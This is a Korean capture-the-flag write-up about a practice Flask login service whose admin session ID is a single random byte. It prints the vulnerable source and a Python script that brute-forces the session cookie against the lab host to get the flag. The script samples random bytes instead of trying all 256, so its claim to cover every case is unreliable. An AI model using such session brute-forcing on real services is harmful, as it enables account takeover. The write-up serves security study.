문제 설명

쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.


풀이

접속 정보로 접속하면 아래와 같은 페이지가 나온다. About을 누르게 되니 아래처럼 URL 주소 뒤에 # 문자가 붙어있다.

image-20240203000558111


소스 코드

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)


소스 코드를 살펴보면 users에 guest, user, admin의 계정이 존재하고, admin의 비밀번호가 flag라는 것을 알 수 있다.

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}


/엔드포인트에선 admin 계정으로 로그인이 되었다면 flag 값을 보여준다.

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')


/login 엔드포인트에서는 username과 password 입력 폼이 존재하고 username과 password가 맞다면 os.urandom(4).hex()를 이용해서 session_id 변수에 추가한다. main 함수를 보면 admin의 세션을 os.urandom(1).hex()로 생성하고 있는데 딱봐도 예측 가능한 세션인 거 같다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)


guest 계정으로 로그인한 후 쿠키 값을 살펴보면 다음과 같다. admin 계정은 os.urandom(1).hex()를 이용해 세션을 생성하므로 더 간단할 것이다.

image-20240203040709887


아래와 같이 코드를 작성하고 실행시켜 보면 admin 계정의 세션이 어떻게 나오는지 알 수 있다.

import os

session_storage = {}

session_storage[os.urandom(1).hex()] = 'admin'

print(session_storage)


아래 실행 결과, admin 계정의 세션은 hex()인 16진수로 os.urandom() 함수의 인자가 1이므로 1바이트의 16진수인 단 두 자리로 세션이 생성되는 것을 알 수 있다.

image-20240203040949974


예상 시나리오

이제 위에서 알 수 있듯이 세션의 이름은 sessionid와 value 값을 1바이트의 16진수의 경우의 수를 전부 넣어 / 엔드포인트에서 flag를 확인하면 될 거 같다.


다음과 같이 코드를 짰다. 기본 세션 변수 생성 로직인 os.urandom(1).hex()를 그대로 이용해서 256번 반복해서 admin의 session을 생성하고 r.text의 응답 텍스트 안에 flag 로직인 DH가 포함되어 있다면 본문을 출력하도록 페이로드를 구성했다.

import os
import requests

url = 'http://host3.dreamhack.games:17436/'


for i in range(256):
    admin_session = os.urandom(1).hex()
    print(admin_session)
    cookie = {'sessionid': admin_session}
    r = requests.get(url, cookies=cookie)
    if 'DH' in r.text:
        print(r.text)



코드를 실행하면 다음과 같이 응답 본문에 DH 다음으로 flag가 잘 출력되는 것을 확인할 수 있다.

image-20240203042923213

댓글남기기